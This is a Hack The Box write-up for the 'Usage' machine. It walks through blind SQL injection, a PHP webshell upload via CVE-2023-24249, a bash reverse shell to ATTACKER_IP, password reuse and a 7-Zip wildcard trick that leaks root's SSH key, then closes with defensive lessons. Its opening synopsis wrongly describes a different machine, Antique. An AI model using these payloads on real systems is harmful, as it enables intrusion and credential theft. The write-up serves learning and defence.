



Usage

Machine Writeup · Hack The Box

4.5 ★
RATING

Easy
DIFFICULTY

Linux
OS

9,634
USER OWNS

9,021
SYSTEM OWNS

20
POINTS

MACHINE SYNOPSIS

Antique is an easy-difficulty Linux machine hosting an HP JetDirect printer on telnet. SNMP enumeration leaks the device password, granting telnet access and command execution. A reverse shell is established via netcat. Privilege escalation abuses CUPS 1.6.1, which allows arbitrary root file reads via a Metasploit module, exposing the root flag.

CONTENTS

01	Reconnaissance & vHost Discovery	04	Lateral Movement — Monit Credentials
02	Blind SQLi — Password Reset Endpoint	05	7-Zip Wildcard — Root SSH Key Exfiltration
03	CVE-2023-24249 — Laravel-Admin File Upload	06	Lessons Learned



Martí Hervás

Penetration Tester · Hack The Box · 2025

hackthebox.com/machines/usage

01 Reconnaissance & vHost Discovery

Two open TCP ports on 10.10.11.18: SSH on 22 and nginx on 80. The web server immediately redirects to usage.htb and the OpenSSH version places the OS at Ubuntu 22.04 Jammy. A subdomain fuzz with ffuf reveals a second vHost — admin.usage.htb — that hosts a separate Laravel admin panel.

NMAP — SERVICE SCAN

```
nmap — version detection

$ nmap -p 22,80 -sCV 10.10.11.18

22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open  http     nginx 1.18.0 (Ubuntu)
          → Redirects to http://usage.htb/

# Ubuntu 22.04 Jammy confirmed via SSH version
```

VHOST FUZZING WITH FFUF

```
ffuf — subdomain enumeration

$ ffuf -u http://10.10.11.18 \
    -H "Host: FUZZ.usage.htb" \
    -w subdomains-top1million-20000.txt -ac

admin [Status: 200, Size: 3304]

# Add both to /etc/hosts:
$ echo "10.10.11.18 usage.htb admin.usage.htb" | sudo tee -a /etc/hosts
```

NOTE Always fuzz for virtual hosts when a redirect to a custom domain is detected. The admin panel here is on a subdomain invisible to standard directory brute-forcing. The XSRF-TOKEN and laravel_session cookies confirm the Laravel stack on both vhosts.

02 Blind SQL Injection — Password Reset Endpoint

The /forgot-password form on usage.htb takes an email address. Submitting a single quote returns a 500 Internal Server Error — a strong indicator of unsanitised SQL. Standard sqlmap detection fails at default settings, but increasing level and risk identifies both boolean-based blind and time-based blind injection vectors. The backend is MySQL. Targeting the admin_users table yields a bcrypt hash.

CONFIRM INJECTION — SINGLE QUOTE TEST



manual — injection probe

```
# Submit ' as the email value → HTTP 500
# Submit ' or 1=1 limit 1;-- - → 'Email sent' message
# Injection confirmed – backend query is unsanitised
```

SQLMAP — BLIND INJECTION IDENTIFICATION



sqlmap — injection identification

```
# Capture POST request to reset.request via Burp, then:
$ sqlmap -r reset.request \
  --level 5 --risk 3 --threads 10 -p email --batch

# Identified:
# boolean-based blind – WHERE clause (subquery)
# time-based blind – MySQL > 5.0.12 heavy query
# Backend DBMS: MySQL
```

DUMP ADMIN_USERS TABLE



sqlmap — credential dump

```
$ sqlmap -r reset.request --level 5 --risk 3 \
  --threads 10 -p email --batch \
  -D usage_blog -T admin_users --dump

# Result:
username: admin
password: $2y$10$ohq2kLpBH/ri.P5wR0P3U0mc24Ydvl9DA9H1S6oo0MgH5xVfUPrL2
```

CRACK BCRYPT HASH — HASHCAT MODE 3200



hashcat — bcrypt crack

```
$ hashcat ./admin.hash rockyou.txt -m 3200

$2y$10$ohq2kLpBH/ri.P5wR0P3U0mc24Ydvl9DA9H1S6oo0MgH5xVfUPrL2:whatever1

# Credentials: admin : whatever1
# Valid for admin.usage.htb login panel
```

03

CVE-2023-24249 — laravel-admin File Upload RCE

The admin panel at `admin.usage.htb` runs `laravel-admin 1.8.18` — one version below the patched release (`1.8.19`). CVE-2023-24249 is an unrestricted file upload in the admin profile picture endpoint: the application checks the filename extension but the validation can be bypassed by uploading a PHP file with a double extension (`.php.jpg`). Intercepting the upload with Burp and renaming it back to `.php` achieves webshell execution.

STEP 1 — CREATE PHP WEBSHELL

```
webshell preparation

# Create webshell
$ echo "<?php system($_REQUEST['cmd']); ?>" > shell.php

# Rename to bypass client-side extension check
$ cp shell.php shell.php.jpg
```

STEP 2 — UPLOAD & INTERCEPT WITH BURP

```
Burp intercept — extension rename

# Upload shell.php.jpg via profile avatar field
# Intercept the multipart/form-data POST in Burp
# Edit filename in the Content-Disposition header:

# Before: filename="shell.php.jpg"
# After:  filename="shell.php"

# Forward request — avatar broken = shell uploaded
```

STEP 3 — TRIGGER REVERSE SHELL

```
webshell — reverse shell trigger

$ nc -lnvp 443

# Access shell via browser — URL-encode & as %26:
http://admin.usage.htb/uploads/images/shell.php
?cmd=bash -c "bash -i >%26 /dev/tcp/ATTACKER_IP/443 0>%261"

# Shell lands as: dash@usage
```

SHELL UPGRADE & USER FLAG

```
tty upgrade & user flag

$ script /dev/null -c bash
# Ctrl+Z → stty raw -echo; fg → reset → screen

dash@usage:~$ cat user.txt
18b4939c*****
```

04

Lateral Movement — Monit Credentials in .monitrc

dash's home directory contains a .monitrc configuration file for the Monit system monitoring daemon. The file stores HTTP basic auth credentials in cleartext for the Monit web interface. Password reuse is the vulnerability — these credentials work directly for the xander system account via su and SSH.

DISCOVER CREDENTIAL IN .monitrc

```
credential discovery — .monitrc

dash@usage:~$ ls -la
# Hidden files: .monit.id .monit.pid .monit.state .monitrc

dash@usage:~$ cat .monitrc
set httpd port 2812
  use address 127.0.0.1
  allow admin:3nc0d3d_pa$$w0rd

# Cleartext password in Monit HTTP auth config
```

PIVOT TO XANDER VIA PASSWORD REUSE

```
lateral movement — xander

# Test credentials against all local users:
dash@usage:~$ su - xander
Password: 3nc0d3d_pa$$w0rd

xander@usage:~$

# Also valid over SSH:
$ ssh xander@usage.htb # Password: 3nc0d3d_pa$$w0rd
```

WARN Configuration files in home directories are a common credential source. Always check for .env, .monitrc, .netrc, config.yml and similar files immediately after obtaining a shell. Password reuse between services is endemic.

05

7-Zip Wildcard — Root SSH Key Exfiltration

xander can run /usr/bin/usage_management as root without a password. Strings analysis reveals Option 1 calls 7za with a wildcard (*) in /var/www/html. The 7-Zip @ file list feature is the attack vector: create a file named @target, link "target" as a symlink to /root/.ssh/id_rsa — 7z will attempt to read the symlink as a file list and print its contents as error messages, exfiltrating the root private key.

IDENTIFY SUDO PRIVILEGE & BINARY ANALYSIS

```
sudo -l & strings analysis

xander@usage:~$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/usage_management

# Strings reveals option 1 runs:
cd /var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

# Wildcard expansion = attacker-controlled file list
```

EXPLOIT — @ FILE LIST TRICK WITH SYMLINK

```
7-zip wildcard — key exfiltration

xander@usage:/var/www/html$ touch @0xdf
xander@usage:/var/www/html$ ln -fs /root/.ssh/id_rsa 0xdf

# Run option 1 — 7za reads id_rsa as file list
xander@usage:/var/www/html$ sudo usage_management
Enter your choice (1/2/3): 1

WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAA...
# Full key printed as "No more files" warnings
```

CLEAN KEY & SSH AS ROOT



root access — SSH with stolen key

```
# Strip " : No more files" suffix from each line
# Save cleaned key locally
$ chmod 600 root_id_rsa

$ ssh -i root_id_rsa root@usage.htb

root@usage:~# cat root.txt
3b2f895e*****
```

ROOT OBTAINED — 7-Zip wildcard @ trick leaked root SSH private key

06

Lessons Learned

01 Parameterise SQL Queries — Including in Password Reset Flows

The forgot-password endpoint was querying the database with raw string concatenation. Password reset and registration flows are often less reviewed than login forms but carry the same injection risk. Every database query that touches user input must use prepared statements — no exceptions, even in "low priority" features.

02 File Upload Validation Must Be Server-Side and Definitive

CVE-2023-24249 succeeded because the extension check was client-side or easily bypassed with a double extension. Robust upload validation requires: stripping the path, checking the MIME type against file content (not the filename), whitelisting allowed types, and storing uploads outside the web root.

03 Never Store Credentials Cleartext in Configuration Files

.monitrc contained a plaintext password that unlocked a second system account. Use environment variables or a secrets manager for credentials in configuration. If a cleartext credential must be in a config file, restrict file permissions to 600 and owned by the service account — never the interactive user.

04 Wildcards in Sudo-Privileged Commands Are a Read-Anything Primitive

The 7-Zip @ file-list feature combined with a symlink turns a wildcard backup script into an arbitrary file reader running as root. Any sudo-privileged command that uses shell wildcards should be treated as a potential privilege escalation path. Audit all sudo rules for wildcard usage and replace with explicit paths.

Writeup authored by Marti Hervas · Hack The Box · Usage Machine · 2025